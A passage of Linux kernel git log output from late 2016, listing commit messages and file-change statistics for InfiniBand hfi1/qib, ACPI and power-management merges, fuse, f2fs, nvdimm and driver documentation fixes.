packets are submitted to the engine due to an error, the intermediate count doesn't reflect the partial number of packets submitted to the SDMA engine. This can cause a hang later in the code as the count of packets submitted to the SDMA engine doesn't match the the count of packets processed by the SDMA engine. Reviewed-by: Dean Luick Signed-off-by: Harish Chegondi Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/sdma.c | 24 +++++++++++++++--------- drivers/infiniband/hw/hfi1/sdma.h | 3 ++- drivers/infiniband/hw/hfi1/user_sdma.c | 31 +++++++++++++------------------ 3 files changed, 30 insertions(+), 28 deletions(-) commit 0db9dec2762e02ee596bc2b9870414d5100d0baf Author: Dean Luick Date: Tue Sep 6 04:35:20 2016 -0700 IB/hfi1: Move serdes tune inside link start function All calls to tune_serdes and start_link are paired. Move tune_serdes inside start_link. Reviewed-by: Easwar Hariharan Signed-off-by: Dean Luick Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 22 ++++++++-------------- drivers/infiniband/hw/hfi1/mad.c | 1 - 2 files changed, 8 insertions(+), 15 deletions(-) commit 261a4351844bcacb622d6d498a1bc98242b2db9e Author: Mike Marciniszyn Date: Tue Sep 6 04:35:05 2016 -0700 IB/qib,IB/hfi: Use core common header file Use common header file structs, defines, and accessors in the drivers. The old declarations are removed. The repositioning of the includes allows for the removal of hfi1_message_header and replaces its use with ib_header. Also corrected are two issues with set_armed_to_active(): - The "packet" parameter is now a pointer as it should have been - The etype is validated to insure that the header is correct Reviewed-by: Dennis Dalessandro Reviewed-by: Don Hiatt Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford drivers/infiniband/hw/hfi1/chip.c | 6 +- drivers/infiniband/hw/hfi1/chip.h | 2 +- drivers/infiniband/hw/hfi1/common.h | 8 --- drivers/infiniband/hw/hfi1/driver.c | 35 ++++++------ drivers/infiniband/hw/hfi1/hfi.h | 7 ++- drivers/infiniband/hw/hfi1/rc.c | 87 +++++++++++++--------------- drivers/infiniband/hw/hfi1/ruc.c | 4 +- drivers/infiniband/hw/hfi1/trace.c | 27 +++------ drivers/infiniband/hw/hfi1/trace_ibhdrs.h | 14 ++--- drivers/infiniband/hw/hfi1/trace_rx.h | 4 +- drivers/infiniband/hw/hfi1/uc.c | 6 +- drivers/infiniband/hw/hfi1/ud.c | 12 ++-- drivers/infiniband/hw/hfi1/verbs.c | 14 ++--- drivers/infiniband/hw/hfi1/verbs.h | 90 +++-------------------------- drivers/infiniband/hw/qib/qib.h | 1 + drivers/infiniband/hw/qib/qib_driver.c | 4 +- drivers/infiniband/hw/qib/qib_iba7322.c | 2 +- drivers/infiniband/hw/qib/qib_rc.c | 61 +++++++++----------- drivers/infiniband/hw/qib/qib_ruc.c | 4 +- drivers/infiniband/hw/qib/qib_uc.c | 6 +- drivers/infiniband/hw/qib/qib_ud.c | 6 +- drivers/infiniband/hw/qib/qib_verbs.c | 14 ++--- drivers/infiniband/hw/qib/qib_verbs.h | 94 ++++--------------------------- 23 files changed, 162 insertions(+), 346 deletions(-) commit 7368ef023515ce5affb44fa3fd4935c70e6a573f Author: Mike Marciniszyn Date: Tue Sep 6 04:34:49 2016 -0700 IB/core: Add ib headers for general use Add IB headers, defines, and accessors that are identical in both qib and hfi1 into the core includes. The accessors for be maintenance of __be64 fields since alignment is potentially invalid and can differ based on the presense of the GRH. {hfi1,qib}_ib_headers will be ib_headers. {hfi1,qib|_other_headers will be ib_other_headers. Reviewed-by: Dennis Dalessandro Reviewed-by: Don Hiatt Signed-off-by: Mike Marciniszyn Signed-off-by: Dennis Dalessandro Signed-off-by: Doug Ledford include/rdma/ib_hdrs.h | 178 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 178 insertions(+) commit 993eb0aeae0ff895e234cf94d1a86170584194e9 Merge: e35db92 da4a644 1ad1410 Author: Rafael J. Wysocki Date: Sun Oct 2 01:43:45 2016 +0200 Merge branches 'pm-devfreq' and 'pm-sleep' * pm-devfreq: PM / devfreq: rk3399_dmc: Remove explictly regulator_put call in .remove PM / devfreq: rockchip: add PM_DEVFREQ_EVENT dependency partial revert of "PM / devfreq: Add COMPILE_TEST for build coverage" PM / devfreq: rockchip: add devfreq driver for rk3399 dmc Documentation: bindings: add dt documentation for rk3399 dmc PM / devfreq: event: support rockchip dfi controller Documentation: bindings: add dt documentation for dfi controller PM / devfreq: event: remove duplicate devfreq_event_get_drvdata() PM / devfreq: fix Kconfig indent style PM / devfreq: Add COMPILE_TEST for build coverage PM / devfreq: exynos-ppmu: remove unneeded of_node_put() * pm-sleep: PM / Hibernate: allow hibernation with PAGE_POISONING_ZERO PM / sleep: enable suspend-to-idle even without registered suspend_ops PM / sleep: Increase default DPM watchdog timeout to 120 commit e35db92b4f53cad816af25c1a5f8be414e0de9fc Merge: 7005f6d af48d7b a4ee454 e2cdeaa Author: Rafael J. Wysocki Date: Sun Oct 2 01:43:16 2016 +0200 Merge branches 'pm-cpuidle', 'pm-opp' and 'pm-avs' * pm-cpuidle: ARM: cpuidle: Fix error return code * pm-opp: PM / OPP: Don't support OPP if it provides supported-hw but platform does not PM / OPP: avoid maybe-uninitialized warning * pm-avs: PM / AVS: SmartReflex: Neaten logging commit 7005f6dc69948685b846c895e80fca2646476b83 Merge: 2dc3c72 b6e2511 Author: Rafael J. Wysocki Date: Sun Oct 2 01:42:45 2016 +0200 Merge branch 'pm-cpufreq' * pm-cpufreq: (24 commits) cpufreq: st: add missing \n to end of dev_err message cpufreq: kirkwood: add missing \n to end of dev_err messages cpufreq: CPPC: Avoid overflow when calculating desired_perf cpufreq: ti: Use generic platdev driver cpufreq: intel_pstate: Add io_boost trace cpufreq: intel_pstate: Use IOWAIT flag in Atom algorithm cpufreq: schedutil: Add iowait boosting cpufreq / sched: SCHED_CPUFREQ_IOWAIT flag to indicate iowait condition cpufreq: CPPC: Force reporting values in KHz to fix user space interface cpufreq: create link to policy only for registered CPUs intel_pstate: constify local structures cpufreq: dt: Support governor tunables per policy cpufreq: dt: Update kconfig description cpufreq: dt: Remove unused code MAINTAINERS: Add Documentation/cpu-freq/ cpufreq: dt: Add support for r8a7792 cpufreq / sched: ignore SMT when determining max cpu capacity cpufreq: Drop unnecessary check from cpufreq_policy_alloc() ARM: multi_v7_defconfig: Don't attempt to enable schedutil governor as module ARM: exynos_defconfig: Don't attempt to enable schedutil governor as module ... commit b6e251178286eff8bbd2c01a1b6aa7a317eb3c67 Merge: 9ad0a1b 3ba7bca Author: Rafael J. Wysocki Date: Sun Oct 2 01:42:33 2016 +0200 Merge branch 'pm-cpufreq-sched' into pm-cpufreq commit 2dc3c72cd0a3ea85b8b7ae469904cfc24af1de60 Merge: 08895a8 eefdee0 Author: Rafael J. Wysocki Date: Sun Oct 2 01:41:29 2016 +0200 Merge branch 'pm-domains' * pm-domains: PM / Domains: Rename pm_genpd_sync_poweron|poweroff() PM / Domains: Don't measure latency of ->power_on|off() during system PM PM / Domains: Remove redundant system PM callbacks PM / Domains: Simplify detaching a device from its genpd PM / Domains: Allow holes in genpd_data.domains array PM / Domains: Add support for removing nested PM domains by provider PM / Domains: Add support for removing PM domains PM / Domains: Store the provider in the PM domain structure PM / Domains: Prepare for adding support to remove PM domains PM / Domains: Verify the PM domain is present when adding a provider PM / Domains: Don't expose xlate and provider helper functions PM / Domains: Don't expose generic_pm_domain structure to clients staging: board: Remove calls to of_genpd_get_from_provider() ARM: EXYNOS: Remove calls to of_genpd_get_from_provider() PM / Domains: Add new helper functions for device-tree PM / Domains: Always enable debugfs support if available commit 8c4b172123c08a7138ee01675c130c83f9c1117c Merge: 0137a33 f9151fc 12c78ca 060d791 Author: Rafael J. Wysocki Date: Sun Oct 2 01:40:20 2016 +0200 Merge branches 'acpi-button', 'acpi-battery' and 'acpi-doc' * acpi-button: ACPI / button: Add document for ACPI control method lid device restrictions ACPI / button: Fix an issue in button.lid_init_state=ignore mode * acpi-battery: ACPI / battery: Add sysfs representation after checking _BST * acpi-doc: ACPI / documentation: Use recommended name in GPIO property names commit 0137a337d7760c265a7d126964297e41ba9a1cb3 Merge: 0d573c6 cda3b91 97cb159 Author: Rafael J. Wysocki Date: Sun Oct 2 01:40:07 2016 +0200 Merge branches 'acpi-wdat' and 'acpi-ec' * acpi-wdat: watchdog: wdat_wdt: Fix warning for using 0 as NULL watchdog: wdat_wdt: fix return value check in wdat_wdt_probe() platform/x86: intel_pmc_ipc: Do not create iTCO watchdog when WDAT table exists i2c: i801: Do not create iTCO watchdog when WDAT table exists mfd: lpc_ich: Do not create iTCO watchdog when WDAT table exists ACPI / watchdog: Add support for WDAT hardware watchdog * acpi-ec: ACPI / EC: Fix issues related to boot_ec ACPI / EC: Fix a gap that ECDT EC cannot handle EC events ACPI / EC: Fix a memory leakage issue in acpi_ec_add() ACPI / EC: Cleanup first_ec/boot_ec code ACPI / EC: Enable event freeze mode to improve event handling for suspend process ACPI / EC: Add PM operations to improve event handling for suspend process ACPI / EC: Add PM operations to improve event handling for resume process ACPI / EC: Fix an issue that SCI_EVT cannot be detected after event is enabled ACPI / EC: Add EC_FLAGS_QUERY_ENABLED to reveal a hidden logic ACPI / EC: Add PM operations for suspend/resume noirq stage commit 0d573c6a01011e61dc9f4594ef5d6d52f35f45db Merge: 4ec9e28 c12f29a b59c4b3 a217726 Author: Rafael J. Wysocki Date: Sun Oct 2 01:39:09 2016 +0200 Merge branches 'acpi-x86', 'acpi-cppc' and 'acpi-soc' * acpi-x86: x86: ACPI: make variable names clearer in acpi_parse_madt_lapic_entries() x86: ACPI: remove extraneous white space after semicolon * acpi-cppc: ACPI / CPPC: Support PCC with interrupt flag ACPI / CPPC: Add prefix cppc to cpudata structure name ACPI / CPPC: Add support for functional fixed hardware address ACPI / CPPC: Don't return on CPPC probe failure ACPI / CPPC: Allow build with ACPI_CPU_FREQ_PSS config ACPI / CPPC: check for error bit in PCC status field ACPI / CPPC: move all PCC related information into pcc_data ACPI / CPPC: add sysfs support to compute delivered performance ACPI / CPPC: set a non-zero value for transition_latency ACPI / CPPC: support for batching CPPC requests ACPI / CPPC: acquire pcc_lock only while accessing PCC subspace ACPI / CPPC: restructure read/writes for efficient sys mapped reg ops mailbox: pcc: Support HW-Reduced Communication Subspace type 2 * acpi-soc: ACPI / APD: constify local structures ACPI / APD: Add device HID for Vulcan SPI controller commit 4ec9e2890a7a70dedbf0da28577fefe84d8f14e4 Merge: 84a78c7 1ef3566 Author: Rafael J. Wysocki Date: Sun Oct 2 01:38:44 2016 +0200 Merge branch 'acpi-bus' * acpi-bus: ACPI / bus: Adjust ACPI subsystem initialization for new table loading mode ACPI / bus: Make acpi_get_first_physical_node() public commit 84a78c724b1d7eae1c163e7a225a3ce9e0c61b6d Merge: 9274139 914c619 a252d88 ffcbed8 Author: Rafael J. Wysocki Date: Sun Oct 2 01:38:34 2016 +0200 Merge branches 'acpi-sysfs', 'acpi-pci' and 'acpi-tables' * acpi-sysfs: ACPI / sysfs: Update sysfs signature handling code ACPI / sysfs: Fix an issue for LoadTable opcode ACPI / sysfs: Use new GPE masking mechanism in GPE interface * acpi-pci: ACPI / platform: Pay attention to parent device's resources PCI: Add pci_find_resource() ACPI / PCI: fix GIC irq model default PCI IRQ polarity * acpi-tables: ACPI / tables: Remove duplicated include from tables.c ACPI / tables: do not report the number of entries ignored by acpi_parse_entries() ACPI / tables: fix acpi_parse_entries_array() so it traverses all subtables ACPI / tables: fix incorrect counts returned by acpi_parse_entries_array() commit 9274139f4e8bb0835a5a6224957e15b8e63693e4 Merge: 52ff5ad 7a0b71d Author: Rafael J. Wysocki Date: Sun Oct 2 01:37:32 2016 +0200 Merge branch 'acpica' * acpica: (45 commits) ACPICA: Parser: Fix a regression in LoadTable support ACPICA: Tables: Fix "UNLOAD" code path lock issues ACPICA: Tables: Fix a regression in acpi_tb_find_table() ACPICA: Update version to 20160831 ACPICA: Tables: Tune table mutex to be a leaf lock ACPICA: Dispatcher: Fix a mutex issue for method auto serialization ACPICA: Namespace: Fix dynamic table loading issues ACPICA: Namespace: Add acpi_ns_get_node_unlocked() ACPICA: Interpreter: Fix MLC issues by switching to new term_list grammar for table loading ACPICA: Update return value for intenal _OSI method ACPICA: Tables: Override all 64-bit GAS fields when acpi_gbl_use32_bit_fadt_addresses is TRUE ACPICA: Tables: Add new table events indicating table installation/uninstallation ACPICA: Tables: Remove wrong table event macros ACPICA: Tables: Remove acpi_tb_install_fixed_table() ACPICA: Add a couple of casts to uthex.c ACPICA: Cleanup for all string-to-integer conversions ACPICA: Debugger: Add subcommand for predefined name execution ACPICA: Update version to 20160729 ACPICA: OSL: Fix a regression that old GCC requires a workaround for strchr() ACPICA: OSL: Cleanup the inclusion order of the compiler-specific headers ... commit 52ff5adc1f942008a790d6f964dec13793480c27 Merge: 08895a8 20a875e Author: Rafael J. Wysocki Date: Sun Oct 2 01:35:42 2016 +0200 Merge branch 'device-properties' * device-properties: serial: 8250_dw: Add quirk for APM X-Gene SoC ACPI / LPSS: Provide build-in properties of the UART ACPI / APD: Provide build-in properties of the UART driver core: Don't leak secondary fwnode on device removal commit d97629f1686574a800a76eb0d2ce65e3f3d3ef92 Author: Julia Lawall Date: Thu Sep 22 10:28:55 2016 +0200 Coccinelle: pm_runtime: ensure relevance of pm_runtime reports pm_runtime.cocci starts with one rule that searches for a variety of functions calls, followed by various rules that report errors. Previously, the only connection between the first rule and the rest was to check that the first rule had matched somewhere. Change the rules to propagate a position from the first rule to the others, to make sure that the sites reported on are the same as the sites that were identified as having the relevant functions. Signed-off-by: Julia Lawall Signed-off-by: Michal Marek scripts/coccinelle/api/pm_runtime.cocci | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) commit 43d96390d57aa0e61d15ce2bcb887df8516d58f5 Author: Julia Lawall Date: Wed Sep 21 17:48:39 2016 +0200 Coccinelle: limit memdup_user transformation to GFP_KERNEL case Memdup_user encapsulates a memory allocation with the flag GFP_KERNEL, so only allow this flag in the original code. Signed-off-by: Julia Lawall Signed-off-by: Michal Marek scripts/coccinelle/api/memdup_user.cocci | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 231147ee77f39f4134935686e9d7e415bdf48149 Author: sayli karnik Date: Wed Sep 28 21:46:51 2016 +0530 iio: maxim_thermocouple: Align 16 bit big endian value of raw reads Driver was reporting invalid raw read values for MAX6675 on big endian architectures. MAX6675 buffered mode is not affected, nor is the MAX31855. The driver was losing a 2 byte read value when it used a 32 bit integer buffer to store a 16 bit big endian value. Use big endian types to properly align buffers on big endian architectures. Fixes following sparse endianness warnings: warning: cast to restricted __be16 warning: cast to restricted __be32 Fixes checkpatch issue: CHECK: No space is necessary after a cast Signed-off-by: sayli karnik Fixes: 1f25ca11d84a ("iio: temperature: add support for Maxim thermocouple chips") Signed-off-by: Jonathan Cameron drivers/iio/temperature/maxim_thermocouple.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) commit d6169b0206db1c8c8d0e4c6b79fdf4b2fc6455f1 Author: Tyler Hicks Date: Fri Sep 30 15:24:31 2016 -0700 net: Use ns_capable_noaudit() when determining net sysctl permissions The capability check should not be audited since it is only being used to determine the inode permissions. A failed check does not indicate a violation of security policy but, when an LSM is enabled, a denial audit message was being generated. The denial audit message caused confusion for some application authors because root-running Go applications always triggered the denial. To prevent this confusion, the capability check in net_ctl_permissions() is switched to the noaudit variant. BugLink: https://launchpad.net/bugs/1465724 Signed-off-by: Tyler Hicks Acked-by: Serge E. Hallyn Signed-off-by: James Morris [dtor: reapplied after e79c6a4fc923 ("net: make net namespace sysctls belong to container's owner") accidentally reverted the change.] Signed-off-by: Dmitry Torokhov Signed-off-by: David S. Miller net/sysctl_net.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3c76ff4765fbd382c095acc37f87e136a8dfc73d Author: Jon Bailey Date: Tue Sep 27 16:08:33 2016 -0600 URL changed for Linux Foundation TAB I've sent email to the Linux Foundation's webmaster contact (RT ticket tracker) asking for a redirect for the old value [linuxfoundation.org the page. Signed-off-by: Jon Bailey Signed-off-by: Jonathan Corbet Documentation/CodeOfConflict | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9ff2dc5601f9900c93095dc824378449414ddaae Author: Stephen Bates Date: Sun Sep 25 19:18:37 2016 -0600 dax : Fix documentation with respect to struct pages The documentation for dax is not up to date with respect to the struct page support available in some of the device drivers that utilize it. Signed-off-by: Stephen Bates Acked-by: Ross Zwisler Signed-off-by: Jonathan Corbet Documentation/filesystems/dax.txt | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) commit 964cce16b1b7f60eeb491a4cf9fb593e0286deef Author: Sandhya Bankar Date: Fri Sep 30 21:49:22 2016 +0530 iio: Documentation: Correct the path used to create triggers. Correct the path used to create triggers. Signed-off-by: Sandhya Bankar Acked-by: Daniel Baluta Signed-off-by: Jonathan Corbet Documentation/iio/iio_configfs.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 02aa84860c29f3f5a57e959982c811df46a2736c Author: Baoyou Xie Date: Sat Sep 24 12:37:05 2016 +0800 dmaengine: virt-dma: move function declarations We get 2 warnings when building kernel with W=1: drivers/dma/virt-dma.c:22:14: warning: no previous prototype for 'vchan_tx_submit' [-Wmissing-prototypes] drivers/dma/virt-dma.c:52:5: warning: no previous prototype for 'vchan_tx_desc_free' [-Wmissing-prototypes] In fact, these two functions are incorrectly declared in a function. So this patch moves function declarations out of this function. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Signed-off-by: Vinod Koul drivers/dma/virt-dma.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e7b2acfc79f052d023bf15bb6f82c90166ba74b5 Author: Misael Lopez Cruz Date: Fri Sep 16 13:53:15 2016 +0300 dmaengine: omap-dma: Enable burst and data pack for SG Enable the burst and data pack modes for the scatter-gather in order to improve the throughput of the data transfers. The improvement has been verified with MMC HS200 mode in the DRA72 EVM using the iozone tool to compare the read throughput (in kB/s) with and without burst/pack for different reclens (in kB). With reclen Baseline sDMA burst/pack ------ -------- --------------- 64 46568 50820 128 57564 63413 256 65634 74937 512 72427 83483 1024 74563 84504 2048 76265 86079 4096 78045 87335 8192 78989 88154 16384 81265 91034 Signed-off-by: Misael Lopez Cruz Signed-off-by: Peter Ujfalusi Signed-off-by: Vinod Koul drivers/dma/omap-dma.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 4680a7ee5db27772af40d83393fa0fb955b745b7 Author: Miklos Szeredi Date: Sat Oct 1 07:32:33 2016 +0200 fuse: remove duplicate cs->offset assignment Signed-off-by: Miklos Szeredi fs/fuse/dev.c | 1 - 1 file changed, 1 deletion(-) commit acbe5fda1fc05dc2e1e179b90c0879a5cfbf87b0 Author: Miklos Szeredi Date: Sat Oct 1 07:32:33 2016 +0200 fuse: don't use fuse_ioctl_copy_user() helper The two invocations share little code. Signed-off-by: Miklos Szeredi fs/fuse/file.c | 52 ++++++++++++++++++---------------------------------- 1 file changed, 18 insertions(+), 34 deletions(-) commit 3daa9c51651f2631be373840db0f82a8efb1c63d Author: Al Viro Date: Wed Sep 21 18:37:42 2016 -0400 fuse_ioctl_copy_user(): don't open-code copy_page_{to,from}_iter() Signed-off-by: Al Viro Signed-off-by: Miklos Szeredi fs/fuse/file.c | 30 +++++++----------------------- 1 file changed, 7 insertions(+), 23 deletions(-) commit 703c73629f93464ce210f5ad92d0c1fb95bfbadf Author: Seth Forshee Date: Mon Aug 29 08:46:36 2016 -0500 fuse: Use generic xattr ops In preparation for posix acl support, rework fuse to use xattr handlers and the generic setxattr/getxattr/listxattr callbacks. Split the xattr code out into it's own file, and promote symbols to module-global scope as needed. Functionally these changes have no impact, as fuse still uses a single handler for all xattrs which uses the old callbacks. Signed-off-by: Seth Forshee Signed-off-by: Miklos Szeredi fs/fuse/Makefile | 2 +- fs/fuse/dir.c | 186 +++----------------------------------------------- fs/fuse/fuse_i.h | 5 ++ fs/fuse/inode.c | 1 + fs/fuse/xattr.c | 203 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 221 insertions(+), 176 deletions(-) commit 29433a2991fa636c1fcd5bf5893cf92c37e0b26c Author: Miklos Szeredi Date: Sat Oct 1 07:32:32 2016 +0200 fuse: get rid of fc->flags Only two flags: "default_permissions" and "allow_other". All other flags are handled via bitfields. So convert these two as well. They don't change during the lifetime of the filesystem, so this is quite safe. Signed-off-by: Miklos Szeredi fs/fuse/dir.c | 8 ++++---- fs/fuse/fuse_i.h | 18 ++++++------------ fs/fuse/inode.c | 18 ++++++++++-------- 3 files changed, 20 insertions(+), 24 deletions(-) commit cb3ae6d25a5471be62bfe6ac1fccc0e91edeaba0 Author: Miklos Szeredi Date: Sat Oct 1 07:32:32 2016 +0200 fuse: listxattr: verify xattr list Make sure userspace filesystem is returning a well formed list of xattr names (zero or more nonzero length, null terminated strings). [Michael Theall: only verify in the nonzero size case] Signed-off-by: Miklos Szeredi Cc: fs/fuse/dir.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit bcb6f6d2b9c299db32b20f4357c36a101e7f0293 Author: Miklos Szeredi Date: Sat Oct 1 07:32:32 2016 +0200 fuse: use timespec64 And check for valid nsec value before passing into timespec64_to_jiffies(). Signed-off-by: Miklos Szeredi fs/fuse/dir.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit f75fdf22b0a84702d1b72fc1ccd53dcdde121c16 Author: Miklos Szeredi Date: Sat Oct 1 07:32:32 2016 +0200 fuse: don't use ->d_time Store in memory pointed to by ->d_fsdata. Use ->d_init() to allocate the storage. Need to use RCU freeing because the data is used in RCU lookup mode. We could cast ->d_fsdata directly on 64bit archs, but I don't think this is worth the extra complexity. Signed-off-by: Miklos Szeredi fs/fuse/dir.c | 43 +++++++++++++++++++++++-------------------- 1 file changed, 23 insertions(+), 20 deletions(-) commit 60bcc88ad185d512f5718f2f8dcccb483ea8fb73 Author: Seth Forshee Date: Mon Aug 29 08:46:37 2016 -0500 fuse: Add posix ACL support Add a new INIT flag, FUSE_POSIX_ACL, for negotiating ACL support with userspace. When it is set in the INIT response, ACL support will be enabled. ACL support also implies "default_permissions". When ACL support is enabled, the kernel will cache and have responsibility for enforcing ACLs. ACL xattrs will be passed to userspace, which is responsible for updating the ACLs in the filesystem, keeping the file mode in sync, and inheritance of default ACLs when new filesystem nodes are created. Signed-off-by: Seth Forshee Signed-off-by: Miklos Szeredi fs/fuse/Kconfig | 1 + fs/fuse/Makefile | 2 +- fs/fuse/acl.c | 99 +++++++++++++++++++++++++++++++++++++++++++++++ fs/fuse/dir.c | 16 ++++++++ fs/fuse/fuse_i.h | 14 +++++++ fs/fuse/inode.c | 9 ++++- fs/fuse/xattr.c | 18 ++++++--- include/uapi/linux/fuse.h | 3 ++ 8 files changed, 155 insertions(+), 7 deletions(-) commit 5e940c1dd3c1f7561924954eecee956ec277a79b Author: Miklos Szeredi Date: Sat Oct 1 07:32:32 2016 +0200 fuse: handle killpriv in userspace fs Only userspace filesystem can do the killing of suid/sgid without races. So introduce an INIT flag and negotiate support for this. Signed-off-by: Miklos Szeredi fs/fuse/dir.c | 44 +++++++++++++++++++++++++++----------------- fs/fuse/fuse_i.h | 3 +++ fs/fuse/inode.c | 4 +++- include/uapi/linux/fuse.h | 7 ++++++- 4 files changed, 39 insertions(+), 19 deletions(-) commit a09f99eddef44035ec764075a37bace8181bec38 Author: Miklos Szeredi Date: Sat Oct 1 07:32:32 2016 +0200 fuse: fix killing s[ug]id in setattr Fuse allowed VFS to set mode in setattr in order to clear suid/sgid on chown and truncate, and (since writeback_cache) write. The problem with this is that it'll potentially restore a stale mode. The poper fix would be to let the filesystems do the suid/sgid clearing on the relevant operations. Possibly some are already doing it but there's no way we can detect this. So fix this by refreshing and recalculating the mode. Do this only if ATTR_KILL_S[UG]ID is set to not destroy performance for writes. This is still racy but the size of the window is reduced. Signed-off-by: Miklos Szeredi Cc: fs/fuse/dir.c | 32 ++++++++++++++++++++++++++++---- 1 file changed, 28 insertions(+), 4 deletions(-) commit 5e2b8828ff3d79aca8c3a1730652758753205b61 Author: Miklos Szeredi Date: Sat Oct 1 07:32:32 2016 +0200 fuse: invalidate dir dentry after chmod Without "default_permissions" the userspace filesystem's lookup operation needs to perform the check for search permission on the directory. If directory does not allow search for everyone (this is quite rare) then userspace filesystem has to set entry timeout to zero to make sure permissions are always performed. Changing the mode bits of the directory should also invalidate the (previously cached) dentry to make sure the next lookup will have a chance of updating the timeout, if needed. Reported-by: Jean-Pierre André Signed-off-by: Miklos Szeredi Cc: fs/fuse/dir.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit ae8219f186d8e98a3239afc6ea49bb46f2871d2f Author: Dan Williams Date: Mon Sep 19 16:04:21 2016 -0700 libnvdimm, label: convert label tracking to a linked list In preparation for enabling multiple namespaces per pmem region, convert the label tracking to use a linked list. In particular this will allow select_pmem_id() to move labels from the unvalidated state to the validated state. Currently we only track one validated set per-region. Signed-off-by: Dan Williams drivers/nvdimm/label.c | 136 +++++++++++++++++-------------- drivers/nvdimm/namespace_devs.c | 173 ++++++++++++++++++++++++++++------------ drivers/nvdimm/nd-core.h | 1 + drivers/nvdimm/nd.h | 16 +++- drivers/nvdimm/region_devs.c | 19 ++++- 5 files changed, 225 insertions(+), 120 deletions(-) commit 44c462eb9e19dfa089b454271dd2dff5eaf1ad6d Author: Dan Williams Date: Mon Sep 19 16:38:50 2016 -0700 libnvdimm, region: move region-mapping input-paramters to nd_mapping_desc Before we add more libnvdimm-private fields to nd_mapping make it clear which parameters are input vs libnvdimm internals. Use struct nd_mapping_desc instead of struct nd_mapping in nd_region_desc and make struct nd_mapping private to libnvdimm. Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 30 +++++++++++++++--------------- drivers/nvdimm/nd.h | 14 ++++++++++++++ drivers/nvdimm/region_devs.c | 16 +++++++++------- include/linux/libnvdimm.h | 25 +++++++------------------ 4 files changed, 45 insertions(+), 40 deletions(-) commit db58028ee4e360430de8e3b48f657dc798ee6591 Author: Dave Jiang Date: Mon Sep 26 11:06:50 2016 -0700 nvdimm: reduce duplicated wpq flushes Existing implemenetation writes to all the flush hint addresses for a given ND region. This is not necessary as the flushes are per imc and not per DIMM. Search the mappings and clear out the duplicates at init to avoid multiple flush to the same imc. Signed-off-by: Dave Jiang Signed-off-by: Dan Williams drivers/nvdimm/region_devs.c | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) commit e4c5d8489a41209534699220021dab409e4d4f55 Author: Jaegeuk Kim Date: Fri Sep 30 17:37:43 2016 -0700 f2fs: introduce update_ckpt_flags to clean up This patch add update_ckpt_flags() to clean up the flow. Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 56 +++++++++++++++++++++++++++++++--------------------- 1 file changed, 33 insertions(+), 23 deletions(-) commit 6ca56ca429aa94399534ec00598f7f9847c4cae2 Author: Chao Yu Date: Thu Sep 29 18:50:11 2016 +0800 f2fs: don't submit irrelevant page While we call ->writepages, there are two cases: a. we didn't writeout any dirty pages, since they are writebacked by other thread concurrently. b. we writeout dirty pages, and have already submitted bio to block layer. In these cases, we don't need to do additional bio flushing unnecessarily, it may split bio in cache into smaller one. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/data.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 3f5f4959b144d9ba6657ccc0ab9edcc78fcc1d8a Author: Chao Yu Date: Thu Sep 29 18:50:10 2016 +0800 f2fs: fix to commit bio cache after flushing node pages In sync_node_pages, we won't check and commit last merged pages in private bio cache of f2fs, as these pages were taged as writeback, someone who is waiting for writebacking of the page will be blocked until the cache was committed by someone else. We need to commit node type bio cache to avoid potential deadlock or long delay of waiting writeback. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/node.c | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) commit fc0065adb202518e25fb929cda7d5887a456f774 Author: Tiezhu Yang Date: Fri Sep 30 08:24:53 2016 +0800 f2fs: introduce get_checkpoint_version for cleanup There exists almost same codes when get the value of pre_version and cur_version in function validate_checkpoint, this patch adds get_checkpoint_version to clean up redundant codes. Signed-off-by: Tiezhu Yang Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 66 ++++++++++++++++++++++++++++++---------------------- 1 file changed, 38 insertions(+), 28 deletions(-) commit 3fa565039e3338f60d7e7a8e818835dabdea764b Author: Sheng Yong Date: Thu Sep 29 18:37:31 2016 +0800 f2fs: remove dead variable Signed-off-by: Sheng Yong Acked-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/gc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7fd748df451d57cc40b66f6cd8091c0707497443 Author: Chao Yu Date: Tue Sep 27 00:09:53 2016 +0800 f2fs: remove redundant io plug Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 3 --- 1 file changed, 3 deletions(-) commit 0f34802858e74e708c6d42209811f6d264892c8f Author: Chao Yu Date: Mon Sep 26 19:45:55 2016 +0800 f2fs: support checkpoint error injection This patch adds to support checkpoint error injection in f2fs for testing fatal error tolerance, it will be useful that it can simulate abnormal power off by f2fs itself instead of calling godown ioctl by running apps. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/f2fs.h | 1 + fs/f2fs/gc.c | 5 +++++ fs/f2fs/segment.c | 5 +++++ fs/f2fs/super.c | 1 + 4 files changed, 12 insertions(+) commit 